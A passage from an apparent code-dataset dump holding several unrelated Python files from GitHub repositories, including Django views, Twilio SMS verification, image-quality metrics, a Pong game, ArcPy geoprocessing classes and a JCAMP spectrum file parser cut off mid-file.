read_compact_model_index(index_path=(get_test_dir_path()\n                                             / \"compact_model_index_exception_empty_final_state_set.json\"))\n\n    assert str(exc_info.value) == \"Error, empty set of labels.\"\n\n\n@pytest.fixture\ndef compare_compact_index_scenario(request):\n    test_name_prefix = request.param\n\n    compact_index = read_compact_model_index(get_test_dir_path() / (test_name_prefix + \".json\"))\n    expected_index = read_model_index(get_test_dir_path() / (test_name_prefix + \"_compiled_expected.json\"))\n\n    return compact_index, expected_index\n\n\n@pytest.mark.parametrize(\n    argnames=\"compare_compact_index_scenario\",\n    argvalues=[\n        \"compact_model_index_happy_no_entries\",\n        \"compact_model_index_happy_one_entry\",\n        \"compact_model_index_happy_multiple_entries\"\n    ], indirect=True)\ndef test_compile_compact_entry_to_normal_entry(compare_compact_index_scenario):\n\n    compact_index, expected_index = compare_compact_index_scenario\n\n    normal_index = compile_compact_index_to_full_index(compact_index=compact_index)\n    actual_dict_repr = convert_model_index_to_dict(index=normal_index)\n    expected_dict_repr = convert_model_index_to_dict(index=expected_index)\n\n    assert actual_dict_repr == expected_dict_repr\n","repo_name":"kasperengelen/never-worse-relation","sub_path":"tests/format_conversion/test_compact_model_index.py","file_name":"test_compact_model_index.py","file_ext":"py","file_size_in_byte":8265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73080828901","text":"# -*- coding: utf-8 -*-#\n# \n# Project:      vocabulary\n# Name:         api_base_user \n# Author:       lzq\n# Date:         2021/4/10 下午2:29\n# \n\n\nfrom base.models import BaseUser\nfrom collections import OrderedDict\nfrom django.http import JsonResponse\nfrom base.func import BaseUserRoleMethod\nfrom rest_framework.filters import SearchFilter\nfrom django.utils.decorators import method_decorator\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom common.utils import require_role_decorator, PublicModelViewSet\nfrom common.basic.redis_models import redis_resource_set_list_value\nfrom base.serializers import BaseUserSerializer, BaseUserListSerializer, BaseUserFilter\n\n\n@method_decorator(require_role_decorator('manager'), name=\"dispatch\")\nclass BaseUserViewSet(PublicModelViewSet):\n    \"\"\"\n    系统用户视图\n    \"\"\"\n    queryset = BaseUser.objects.all().order_by('id')\n    serializer_class = BaseUserListSerializer\n    resource_name = '系统用户'\n    # 根据不同方法，操作不同类型的字段\n    # primary: 用来申明主键字段\n    # remove: 需要移除的字段\n    serializer_fields = {'remove': [{'fields': ['password'], 'action': ['list', 'retrieve']}]}\n\n    # 返回时需要去掉的字段\n    detach_response_fields = ['password']\n\n    # 使用过滤器\n    filter_backends = (SearchFilter, DjangoFilterBackend,)\n    # 引用自定义的过滤类\n    filter_class = BaseUserFilter\n\n    # 搜索字段\n    search_fields = ('username', 'cname', 'user_sn', 'department', 'email', 'phone', 'describe')\n\n    # 操作角色是需要传入的参数\n    role_args = [{'arg': 'role_list', 'empty': False, 'verify': OrderedDict([('value_list', 'digit')])}]\n\n    # 系统用户授予/解绑角色\n    @PublicModelViewSet.pk_resource\n    def user_role_relation(self, request, operate, pk):\n        return JsonResponse(BaseUserRoleMethod(request, self.role_args).operate_user_role(self.instance, operate))\n\n    def create(self, request, *args, **kwargs):\n        self.serializer_class = BaseUserSerializer\n        return super().create(request, *args, **kwargs)\n\n    def partial_update(self, request, *args, **kwargs):\n        self.serializer_class = BaseUserSerializer\n        user_obj = self.get_object()\n        user_old_role = list(user_obj.role_list.values_list('id', flat=True))\n        response = super().partial_update(request, *args, **kwargs)\n        user_new_role = list(user_obj.role_list.values_list('id', flat=True))\n        # 角色变更，删除token\n        if sorted(user_old_role) != sorted(user_new_role):\n            redis_resource_set_list_value(f\"user:token:{user_obj.id}\", '_', 1)\n        return response\n\n    def list(self, request, *args, **kwargs):\n        if str(request.query_params.get('simple', '0')) == '1':\n            setattr(self, 'show_fields', ['id', 'username', 'user_sn', 'cname'])\n        return super().list(request, *args, **kwargs)\n","repo_name":"l-yb/vocabulary","sub_path":"base/apis/api_base_user.py","file_name":"api_base_user.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1178608131","text":"import numpy as np\n\n\nclass AnnotatedScan:\n    \"\"\"\n    Dataset example holder\n    \"\"\"\n\n    def __init__(self, dicom_img, dicom_file, imask, omask):\n        \"\"\"\n        :param np.ndarray dicom_img:\n        :param str dicom_file: Path to dicom file\n        :param ContourMask|None imask: Mask that separates the left ventricular blood pool from the heart muscle (myocardium)\n        :param ContourMask|None omask: Mask that defines the outer border of the left ventricular heart muscle\n        \"\"\"\n        self.dicom_img = dicom_img\n        self.dicom_file = dicom_file\n        self.imask = imask\n        self.omask = omask\n\n        self.imask_prediction = None  # type: np.ndarray|None # dtype=bool i/o-contour boolean mask\n\n\nclass ContourMask:\n    \"\"\"\n    i-contour / o-contour mask holder\n    \"\"\"\n\n    def __init__(self, mask, contours_file):\n        \"\"\"\n        :param np.ndarray mask: dtype=bool i/o-contour boolean mask\n        :param str contours_file: Path to i/o-countours file (before converting to mask)\n        \"\"\"\n        self.mask = mask\n        self.contours_file = contours_file\n","repo_name":"tomasprinda/ventricle_segmentation","sub_path":"ventricle_segmentation/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14473220192","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[6]:\n\n\ndef evaluation(dis,save_path=None):\n    from matplotlib import pyplot as plt\n    import numpy as np\n    import tensorflow as tf\n    \n    length =len(dis)\n    title = ['input','target','origin','sagan','resU-net']\n    \n    \n    def ssim_function(x,y):\n        C1 = np.square(0.01*2)\n        C2 = np.square(0.03*2)\n\n        mean_x = np.mean(x)\n        mean_y = np.mean(y)\n        std_x = np.std(x)\n        std_y = np.std(y)\n        cov_xy = np.cov((y.numpy().flatten(),x.numpy().flatten())) # covariance 2x2 matrix\n        numerator = (2*mean_x*mean_y +C1 )*(2*np.mean(cov_xy) + C2)\n        denominator = (np.square(mean_x)+np.square(mean_y)+C1)*(np.square(std_x)+np.square(std_y)+C2)\n        return numerator/denominator\n \n    \n    plt.figure(figsize=(15,5))\n    for i in range(length): # len(dis) = 3, 4, 5\n        if i>=2:\n            nmse_ele = np.square((dis[i]+1)-(dis[1]+1)).mean()\n            rnmse_ele = 100*(np.sqrt(np.sum(np.square(dis[i]-dis[1]))/np.sum(np.square(dis[1]))))\n            mse=rnmse_ele\n            psnr=20*(np.log10(np.max(dis[i]+1)/nmse_ele))\n            ssim=ssim_function((dis[i]+1),(dis[1]+1))\n            ssim2=tf.image.ssim((dis[i]+1),(dis[1]+1),max_val=2)\n            print('mse:{},psnr:{},ssim:{},ssim2:{}'.format(np.round(mse,3), np.round(psnr,3),np.round(ssim,3),np.round(ssim2.numpy(),3)))\n                  \n        plt.subplot(1,length,i+1)\n        plt.imshow(dis[i][:,:,0],cmap='gray',vmin=-1,vmax=1)\n        plt.title(title[i])\n        \n    if save_path:\n        pt_ssim = '_{}.png'.format(np.round(ssim,2))\n        plt.savefig(save_path+pt_ssim)\n    plt.show()\n\n\n    return np.round(mse,3), np.round(psnr,3),np.round(ssim,3),np.round(ssim2.numpy(),3)\n\ndef ssim_function(x,y):\n    import numpy as np\n    import tensorflow as tf\n    C1 = np.square(0.01*2)\n    C2 = np.square(0.03*2)\n\n    mean_x = np.mean(x)\n    mean_y = np.mean(y)\n    std_x = np.std(x)\n    std_y = np.std(y)\n    cov_xy = np.cov((y.numpy().flatten(),x.numpy().flatten())) # covariance 2x2 matrix\n    numerator = (2*mean_x*mean_y +C1 )*(2*np.mean(cov_xy) + C2)\n    denominator = (np.square(mean_x)+np.square(mean_y)+C1)*(np.square(std_x)+np.square(std_y)+C2)\n    return numerator/denominator\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"skkuej/StableMedicalGAN","sub_path":"Evaluation.py","file_name":"Evaluation.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4034726421","text":"from turtle import Screen, Turtle\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nfrom keep_score import Score\r\nimport time\r\n\r\n\r\ndef game_over():\r\n    global game_on\r\n    game_on = False\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    POSITION_LEFT_PADDLE = (-350, 0)\r\n    POSITION_RIGHT_PADDLE = (350, 0)\r\n    game_on = True\r\n    screen = Screen()\r\n    screen.bgcolor(\"black\")\r\n    screen.setup(height=600, width=800)\r\n    screen.title(\"The famous pong game\")\r\n    screen.tracer(0)\r\n\r\n    midline = Turtle()\r\n    midline.setposition(0, 265)\r\n    midline.setheading(270)\r\n    midline.hideturtle()\r\n    midline.color(\"white\")\r\n    for _ in range(18):\r\n        midline.forward(20)\r\n        midline.penup()\r\n        midline.forward(10)\r\n        midline.pendown()\r\n    midline.forward(12)\r\n\r\n    l_paddle = Paddle(POSITION_LEFT_PADDLE)\r\n    r_paddle = Paddle(POSITION_RIGHT_PADDLE)\r\n    score = Score()\r\n    ball = Ball()\r\n    screen.listen()\r\n    screen.onkeypress(fun=l_paddle.move_up, key=\"w\")\r\n    screen.onkeypress(fun=l_paddle.move_down, key=\"s\")\r\n    screen.onkeypress(fun=r_paddle.move_up, key=\"Up\")\r\n    screen.onkeypress(fun=r_paddle.move_down, key=\"Down\")\r\n    screen.onkeypress(fun=game_over, key=\"space\")\r\n    screen.onkeypress(fun=screen.bye, key=\"x\")\r\n\r\n    while game_on:\r\n        screen.update()\r\n        time.sleep(ball.move_speed)\r\n        ball.move()\r\n        if ball.ycor() <= -280 or ball.ycor() >= 280:\r\n            ball.bounce_y()\r\n        if ball.distance(r_paddle) < 50 and ball.xcor() >= 330 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\r\n            ball.bounce_x()\r\n        if ball.xcor() > 400:\r\n            ball.reset_game()\r\n            score.increase_score_left()\r\n        elif ball.xcor() < -400:\r\n            ball.reset_game()\r\n            score.increase_score_right()\r\n\r\n    screen.exitonclick()\r\n","repo_name":"ashishvats056/Pong-Game","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13236664849","text":"#Iterate a given list and Check if a given element already exists in a dictionary as a key’s value if not delete it from the list\nrollNumber = [47, 64, 69, 37, 76, 83, 95, 97]\nsampleDict ={'Jhon':47, 'Emma':69, 'Kelly':76, 'Jason':97}\n\ndef myfun(x):\n    if rollNumber in sampleDict:\n        return True\n    else:\n        return False\n\nremele=filter(myfun,sampleDict)\nfor x in remele.values():\n    print(x)","repo_name":"Showmandas/Python_Codes","sub_path":"Excercise/datastr_8.py","file_name":"datastr_8.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24940440595","text":"from smtplib import SMTPException\n\nfrom django.core.mail import send_mail\nfrom django.conf import settings\nimport django.utils.timezone\nfrom django.utils import timezone\n\nfrom distribution.models import Message, MailingSettings, Log, Client\n\n\ndef send_mailling(mailing):\n    now = timezone.localtime(timezone.now())\n    if mailing.start_time <= now <= mailing.end_time:\n        for message in mailing.messages.all():\n            for client in mailing.clients.all():\n                try:\n                    result = send_mail(\n                        subject=message.title,\n                        message=message.text,\n                        from_email=settings.EMAIL_HOST_USER,\n                        recipient_list=[client.email],\n                        fail_silently=False\n                    )\n                    log = Log.objects.create(\n                        time=mailing.start_time,\n                        status=result,\n                        server_response='OK',\n                        mailing_list=mailing,\n                        client=client\n                    )\n                    log.save()\n                    return log\n                except SMTPException as error:\n                    log = Log.objects.create(\n                        time=mailing.start_time,\n                        status=False,\n                        server_response=error,\n                        mailing_list=mailing,\n                        client=client\n                    )\n                    log.save()\n                return log\n    else:\n        mailing.status = MailingSettings.COMPLETED\n        mailing.save()\n","repo_name":"Lehaaa3/coarse_work_6","sub_path":"distribution/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19603198139","text":"# coding=utf-8\n\"\"\"Basics views\"\"\"\n\nimport logging, json\nlogger = logging.getLogger(__name__)\n\n# Django imports\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\n\n# Project imports\nfrom supervisor.decorators import requires_login\nfrom utility.annoying import get_or_none as gon, get_or_gone as gog, tree_get\n\n# Internal imports\nfrom . import sms\nfrom .models import IncomingNumber, OutgoingNumber, SMSLog\nfrom .forms import OutgoingNumberForm\n\n@requires_login\ndef list_numbers (request):\n    numbers = OutgoingNumber.objects.filter(owner=request.user, deleted=False)\n    form = OutgoingNumberForm()\n    return render(request, \"tel/list_numbers.html\", { \"numbers\" : numbers, \"form\" : form })\n\n@requires_login\ndef add_number (request):\n    form = OutgoingNumberForm()\n    if request.POST:\n        form = OutgoingNumberForm(request.POST)\n        if form.is_valid():\n            number = form.save(commit=False)\n            number.name = u\"{0}'s number\".format(request.user)\n            number.owner = request.user\n            number.save()\n            return HttpResponseRedirect(reverse(\"tel.views.send_verification\", kwargs={\"pk\" : number.pk}))\n    return render(request, \"tel/add_number.html\", { \"form\" : form })\n\n@requires_login\ndef send_verification (request, pk):\n    number = gog(OutgoingNumber, owner=request.user, pk=pk, deleted=False)\n    if number.verified:\n        return HttpResponseRedirect(reverse(\"tel.views.list_numbers\"))\n\n    code = number.roll_verification_code()\n    sms.send(number, u\"Please enter the following code: {0}\".format(code))\n    return HttpResponseRedirect(reverse(\"tel.views.verify_number\", kwargs={\"pk\" : number.pk}))\n\n@requires_login\ndef verify_number (request, pk):\n    number = gog(OutgoingNumber, owner=request.user, pk=pk, deleted=False)\n\n    if number.verified:\n        return HttpResponseRedirect(reverse(\"tel.views.list_numbers\"))\n\n    error = None\n    if request.POST:\n        code = request.POST.get(\"code\", None)\n        if code and code.upper().strip() == number.verification_code:\n            number.verified = True\n            number.save()\n            sms.send(number, \"Welcome to Shiftor, be sure to check your emails in addition to text notifications to find your next job!\")\n            sms.send(number, \"Thanks! You can stop messages at any time by sending STOP\")\n            return HttpResponseRedirect(reverse(\"tel.views.list_numbers\"))\n        else:\n            error = \"The verification code didn't match.\"\n    return render(request, \"tel/verify_number.html\", { \"number\" : number, \"error\" : error })\n\n@requires_login\ndef delete_number (request, pk):\n    number = gog(OutgoingNumber, owner=request.user, pk=pk, deleted=False)\n    if request.POST:\n        number.delete()\n    return HttpResponseRedirect(reverse(\"tel.views.list_numbers\"))\n\n@sms.twilio_request\ndef incoming (request):\n    n_incoming = tree_get(request.POST, \"To\", lambda s: s.strip())\n    n_outgoing = tree_get(request.POST, \"From\", lambda s: s.strip())\n    body = tree_get(request.POST, \"Body\", lambda s: s.strip())\n\n    incoming = gon(IncomingNumber, number=n_incoming)\n    outgoing = gon(OutgoingNumber, number=n_outgoing)\n\n    if not incoming or not outgoing:\n        logger.error(\"Unable to locate either {0} (in) or {1} (out)\".format(n_incoming, n_outgoing))\n        return\n\n    SMSLog(incoming=incoming, outgoing=outgoing,\n        body=body, raw=json.dumps(request.POST),\n        direction=SMSLog.INCOMING).save()\n\n    user = outgoing.owner\n    todolist = gon(user.todolist_set)\n\n    # Check to see if the body is an available action\n    if body == \"HELP\":\n        pass\n    elif body == \"STOP\":\n        sms.send(outgoing, \"Your text notifications has been suspended. Be sure to check your email or Login to Shiftor for more information.\")\n        outgoing.deleted = True\n        outgoing.save()\n    return HttpResponse(\"\")","repo_name":"fodasign/shiftor.co","sub_path":"jakt/tel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3831222542","text":"def main():\n    import argparse\n    import json\n    import signal\n    import sys\n\n    from edman import DB\n\n    from scripts.action import Action\n\n    # Ctrl-Cを押下された時の対策\n    signal.signal(signal.SIGINT, lambda sig, frame: sys.exit('\\n'))\n\n    # コマンドライン引数処理\n    parser = argparse.ArgumentParser(description='ドキュメントの項目を修正するスクリプト')\n    # parser.add_argument('-c', '--collection', help='collection name.')\n    parser.add_argument('objectid', help='objectid str.')\n    parser.add_argument('amend_file', type=open, help='JSON file.')\n    parser.add_argument('structure', help='Select ref or emb.')\n    parser.add_argument('-i', '--inifile', help='DB connect file path.')\n\n    # 引数を付けなかった場合はヘルプを表示して終了する\n    if len(sys.argv) == 1:\n        parser.parse_args([\"-h\"])\n        sys.exit(0)\n    args = parser.parse_args()\n\n    # 構造はrefかembのどちらか\n    if not (args.structure == 'ref' or args.structure == 'emb'):\n        parser.error(\"structure requires 'ref' or 'emb'.\")\n\n    try:\n        # iniファイル読み込み\n        con = Action.reading_config_file(args.inifile)\n\n        # ファイル読み込み\n        try:\n\n            amend_data = json.load(args.amend_file)\n        except json.JSONDecodeError:\n            sys.exit('File is not json format.')\n        except IOError:\n            sys.exit('file read error.')\n\n        #  DB接続\n        db = DB(con)\n\n        # 対象oidの所属コレクションを自動的に取得 ※動作が遅い場合は使用しないこと\n        collection = db.find_collection_from_objectid(args.objectid)\n\n        # アップデート処理\n        if db.update(collection, args.objectid, amend_data, args.structure):\n            print('アップデート成功')\n        else:\n            print('アップデート失敗')\n\n    except Exception as e:\n        tb = sys.exc_info()[2]\n        sys.stderr.write(f'{type(e).__name__}: {e.with_traceback(tb)}\\n')\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ryde/edman_cli","sub_path":"scripts/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"73545081702","text":"# -*- Geoprocessing classes for AccessMod Data Prep Creator App -*-\n# -*- By: Bibian Robert -*-\n# -*- GEOG 489: Final Project -*-\n# ***** Script Description ******\n\n# This code contains AccessModDataPrep class derived from arcpy module, that contains methods that does\n# geospatial data processing and provides functionality to select vector and raster files, perform clipping\n# and projection, and save output files.\n#  The AccessModataPrep class contains general methods including:\n# listFieldNames:\n# getStringFieldsForDescribeObject\n# listFieldItems:\n# getValidFieldsForShapefile:\n# selectTargetAdmin:\n# checkSpatialRef:\n# listSpatialRef():\n\n# There are two additional child classes of AccessModDataPrep class that class VectorProjectAndClip(AccessModDataPrep)\n# that handles geoprocessing for vector data and class RasterClipAndProject(AccessModDataPrep) that handles\n# geoprocessing for raster data.\n\n# class VectorProjectAndClip(AccessModDataPrep) has the following methods:.\n# def projectVector: projects vector data to a projected coordinate system\n# def clipVector: clip vector data to target clip area\n# def handleVecProjectAndClip : clips, reproject and saves new vector file\n\n# class RasterClipAndProject(AccessModDataPrep)(AccessModDataPrep) has the following methods:.\n# def rasProject: projects raster data to a projected coordinate system\n# def clipFeature: clip raster data to target clip area\n# def handleRasProjectAndClip : clips, reproject and saves new raster file\n\n# import modules\nimport arcpy\nimport os\n\n\nclass AccessModDataPrep(object):\n    def __init__(self):\n        super(AccessModDataPrep, self).__init__()\n\n    def listFieldNames(self, clipFeature):\n        \"\"\"The listFieldNames method takes the path to a vector dataset (feature class or shapefile) as clipFeature and\n        returns a list of field names present in that dataset.\"\"\"\n        import arcpy\n        fields = []\n\n        fieldList = arcpy.ListFields(clipFeature)\n        for field in fieldList:\n            fields.append(field.name)\n        return fields\n\n    def getStringFieldsForDescribeObject(self, desc):\n        \"\"\"method takes a desc object as an input obtained from Describe function and returns a list of\n         names of string-type fields from the provided desc object.\"\"\"\n        fields = []\n        for field in desc.fields:  # go through all fields\n            if field.type == 'String' and field.editable:\n                fields.append(field.baseName)\n        return fields\n\n    def getValidFieldsForShapefile(self, clipFeature):\n        \"\"\"method takes path to a shapefile (clipFeature) as parameter and returns a list of valid\n        string-type fields for the shapefile.\"\"\"\n        import arcpy\n        fields = []\n        if os.path.exists(clipFeature):\n            desc = arcpy.Describe(clipFeature)\n            try:  # trying to access shapeType may throw exception for certain kinds of data sets\n                if desc.shapeType in ['Polygon']:\n                    fields = self.getStringFieldsForDescribeObject(desc)\n            except Exception as e:\n                print(e)\n                #fields = []\n        return fields\n\n    def listFieldItems(self, clipFeature, selectedField):\n        \"\"\"produces a list of items for the selected Field Name\"\"\"\n        fieldsItems = []\n        with arcpy.da.SearchCursor(clipFeature, (selectedField)) as cursor:\n            for row in cursor:\n                fieldsItems.append(row[0])\n            return fieldsItems\n\n    def selectTargetAdmin(self, clipFeature, nameField, county):\n        \"\"\"produces a list of items for the selected Field Name\"\"\"\n        try:\n            whereClause = \"{0} = '{1}'\".format(arcpy.AddFieldDelimiters(clipFeature, nameField), county)\n\n            targetCounty = arcpy.SelectLayerByAttribute_management(clipFeature, 'NEW_SELECTION', whereClause)\n\n            return targetCounty\n        except Exception as e:\n            print(e)\n            print(arcpy.GetMessages())\n\n    # Check the spatial reference of the feature selected\n    def checkSpatialRef(self, inputFeature):\n        desc = arcpy.Describe(inputFeature)\n        spatialRef = desc.spatialReference\n\n        if spatialRef.name == \"Unknown\":\n            return \"{} has an unknown spatial reference\".format(desc.name)  # print\n        # Otherwise, print out the feature class name and spatial reference\n        elif spatialRef.type == \"Geographic\":\n            return \"Current SRS for {} : {} , '\\n',\"\"'you need to reproject'\".format(desc.name, spatialRef.name)\n        elif spatialRef.type == \"Projected\":\n            return \"Current SRS for {} : {} , '\\n',\"\"'confirm it's projected'\".format(\n                desc.name, spatialRef.name)\n\n    @staticmethod\n    # this method takes no parameter & lists all projected UTM coordinate reference system and is called directly on\n    # the class without creating an instance of the class-----------------------------------------------------\n    def listSpatialRef():\n        \"\"\" obtain a list of spatial reference systems (SRS) with names containing \"UTM\" and are of type \"Projected\n        Coordinate System\" (PCS). It then processes the obtained spatial reference systems to extract the names and\n        returns them as a list.\"\"\"\n\n        srs = arcpy.ListSpatialReferences(\"*UTM*\", \"PCS\")\n        srsList = []\n        for sr in srs:\n            cord = sr.split('/')[-1]  # extract the name of the PCS by taking last part of the  splitting the SRS string\n            srsList.append(cord)\n        return srsList\n\n\n# class that handles clipping and projection of vector data-------------------------------------------------------------\nclass VectorProjectAndClip(AccessModDataPrep):\n    def __init__(self):\n        super(VectorProjectAndClip, self).__init__()\n\n    # method that projects vector data---\n    def projectVector(self, clippedFeature, outputClipFeature, outputCrs):\n        try:\n            # Perform the projection of vector data---\n            arcpy.Project_management(clippedFeature, outputClipFeature, outputCrs)\n            print(\"Feature has been projected successfully.\")\n\n        except Exception as e:\n            print(\"Error occurred during projection:\", e)\n\n    # method that clips vector data---\n    def clipVector(self, inputFile, targetCounty, outPut):\n        try:\n            arcpy.Clip_analysis(inputFile, targetCounty, outPut)  # performs clipping\n            print(\"Feature has been clipped successfully.\")\n\n        except Exception as e:\n            print(\"Error occurred during clipping:\", e)\n\n    # method that handles both clipping and projection of the same vector file\n    def handleVecProjectAndClip(self, inputFeatures, outputClipFeatures, outputCrs, targetCounty):\n        arcpy.env.overwriteOutput = True  # overwrites any existing file with similar names\n        # Create a temporary output clip feature class for clipping and saved on temporary local disk---\n        tempClipped = r\"C:\\Users\\brobert\\OneDrive - Kemri Wellcome Trust\\PennState\\GEOG 489\\Final \" \\\n                      r\"Project\\Output\\temp_clipped.shp\"\n        # call the clipFeature method for clipping---\n        self.clipVector(inputFeatures, targetCounty, tempClipped)  # clips feature and saved temporarily\n\n        # # Create a temporary output reproject feature class for projection and saved on temporary local disk---\n        tempOutput = r\"C:\\Users\\brobert\\OneDrive - Kemri Wellcome Trust\\PennState\\GEOG 489\\Final \" \\\n                     r\"Project\\Output\\temp_output.shp\"\n\n        # Call the project function to project the clipped feature---\n        self.projectVector(tempClipped, tempOutput, outputCrs)  # projects the temp clipped feature and saved temporarily\n\n        # Copy the projected Vector feature to the final output feature class---\n        arcpy.CopyFeatures_management(tempOutput, outputClipFeatures)\n\n        # Clean up the temporary feature classes\n        arcpy.Delete_management(tempClipped)\n        arcpy.Delete_management(tempOutput)\n\n\n# class that handles clipping and projection of raster data-------------------------------------------------------------\nclass RasterClipAndProject(AccessModDataPrep):\n    def __init__(self):\n        super(RasterClipAndProject, self).__init__()\n\n    # method that projects raster data---\n    def projectRaster(self, inputRaster, outputRaster, outputCrs):\n        try:\n            arcpy.ProjectRaster_management(inputRaster, outputRaster, outputCrs)\n            print(\"Raster has been projected successfully.\")\n        except Exception as e:\n            print(\"Error occurred during raster projection:\", e)\n\n    # method that clips raster data---\n    def clipRaster(self, inputRaster, targetCounty, outputRaster):\n        try:\n            arcpy.Clip_management(inputRaster, \"#\", outputRaster, targetCounty, \"#\", \"ClippingGeometry\")\n            print(\"Raster has been clipped successfully.\")\n        except Exception as e:\n            print(\"Error occurred during raster clipping:\", e)\n\n    # method that handles both clipping and projection of the same Raster file---\n    def handleRasProjectAndClip(self, inputRaster, outputClipRaster, outputCrs, targetCounty):\n        arcpy.env.overwriteOutput = True\n        # Create a temporary output clip feature class for clipping---\n        tempClipped = r\"C:\\Users\\brobert\\OneDrive - Kemri Wellcome Trust\\PennState\\GEOG 489\\Final \" \\\n                      r\"Project\\Output\\temp_clipped.tif\"\n        # Call the clipRaster method for clipping---\n        self.clipRaster(inputRaster, targetCounty, tempClipped)\n\n        # Create a temporary output feature class for projection---\n        tempOutput = r\"C:\\Users\\brobert\\OneDrive - Kemri Wellcome Trust\\PennState\\GEOG 489\\Final \" \\\n                     r\"Project\\Output\\temp_output.tif\"\n\n        # Call the project function to project the clipped feature\n        self.projectRaster(tempClipped, tempOutput, outputCrs)\n\n        # Copy the projected Raster feature to the final output feature class---\n        arcpy.CopyRaster_management(tempOutput, outputClipRaster)\n        # print(out)\n        # Clean up the temporary feature classes\n        arcpy.Delete_management(tempClipped)\n        arcpy.Delete_management(tempOutput)\n","repo_name":"Bibian-R/FinalProject_Geog489","sub_path":"Scripts/access_mod_dataprep.py","file_name":"access_mod_dataprep.py","file_ext":"py","file_size_in_byte":10194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18048418581","text":"__author__ = \"V.A. Sole - ESRF Data Analysis\"\n__contact__ = \"sole@esrf.fr\"\n__license__ = \"MIT\"\n__copyright__ = \"European Synchrotron Radiation Facility, Grenoble, France\"\nimport os\nimport logging\nimport sys\nimport numpy\nimport mmap\nimport re\nimport time\nfrom PyMca5.PyMcaIO import JcampReader\nfrom PyMca5.PyMcaIO import SpecFileAbstractClass\nif sys.version < \"3\":\n    from StringIO import StringIO\nelse:\n    from io import StringIO\n_logger = logging.getLogger(__name__)\n\n\nclass JcampFileParser(SpecFileAbstractClass.SpecFileAbstractClass):\n    def __init__(self, filename, single=False):\n        # get the number of entries in the file\n        self.__lastEntryData = -1\n        t0 = time.time()\n        if sys.maxsize > 2**32:\n            self._useMMap = True\n        else:\n            self._useMMap = False\n        _logger.debug(\"USING MMPA = %s\", self._useMMap)\n        if self._useMMap:\n            # 64-bit supported\n            f = open(filename, \"rb\")\n            mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)\n            a = [x.start() for x in re.finditer(\"##TITLE\".encode(\"utf-8\"), mm)]\n            b = [x.end() for x in re.finditer(\"##END.*\\n\".encode(\"utf-8\"), mm)]\n            mm = None\n            f.close()\n            # we can have twice the TITLE before the first data block\n            # we get rid of the second to have also the file header\n            if len(a) > 1:\n                if a[1] < b[0]:\n                    del a[1]\n            self._scanLimits = [(start, end) for start, end in zip(a, b)]\n        else:\n            # 32-bit\n            self._scanLimits = []\n            f = open(filename, \"rb\")\n            entryStarted = False\n            current = f.tell()\n            line = f.readline()\n            nLines = 0\n            while len(line):\n                if entryStarted:\n                    if line.startswith(\"##END=\".encode(\"utf-8\")):\n                        lineEnd = nLines\n                        self._scanLimits.append((start, f.tell(), lineStart, lineEnd))\n                        entryStarted = False\n                        if single:\n                            break\n                elif line.startswith(\"##TITLE\".encode(\"utf-8\")):\n                    start = current\n                    lineStart = nLines\n                    entryStarted = True\n                nLines += 1\n                current = f.tell()\n                line = f.readline()\n            f.close()\n        _logger.debug(\"Elapsed CURRENT = %s\",\n                      time.time() - t0)\n        self._filename = os.path.abspath(filename)\n        _logger.debug(\"PARSING FIRST \")\n        t0 = time.time()\n        self._parseEntryData(0)\n        elapsed = time.time() - t0\n        _logger.debug(\"ELAPSED PER SCAN = %s\", elapsed)\n        _logger.debug(\"N SCANS = %s\", self.scanno())\n        _logger.debug(\"EXPECTED = %s\", elapsed * self.scanno())\n\n    def _parseEntryData(self, idx):\n        if idx == self.__lastEntryData:\n            # nothing to be done\n            return\n        if (idx < 0) or (idx >= len(self._scanLimits)):\n            raise IndexError(\"Only %d entries in file. Requested %d\" % (len(self._scanLimits), idx))\n        start, end = self._scanLimits[idx][0:2]\n        if self._useMMap:\n            #get the relevant file section\n            f = open(self._filename, \"rb\")\n            scanBuffer = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)[start:end]\n            f.close()\n            # the Reader expects to work with strings and not with bytes\n            scanBuffer = scanBuffer.decode(\"utf-8\")\n            fileBlock = True\n        else:\n            #get the relevant file section\n            f = open(self._filename, \"r\")\n            start, end = self._scanLimits[idx][0:2]\n            f.seek(start)\n            scanBuffer = StringIO(f.read(1 + end - start))\n            f.close()\n            fileBlock = False\n        instance = JcampReader.JcampReader(scanBuffer, block=fileBlock)\n        info = instance.info\n        jcampDict = info\n        x, y = instance.data\n        title = jcampDict.get('TITLE', \"Unknown scan\")\n        xLabel = jcampDict.get('XUNITS', 'channel')\n        yLabel = jcampDict.get('YUNITS', 'counts')\n        try:\n            fileheader 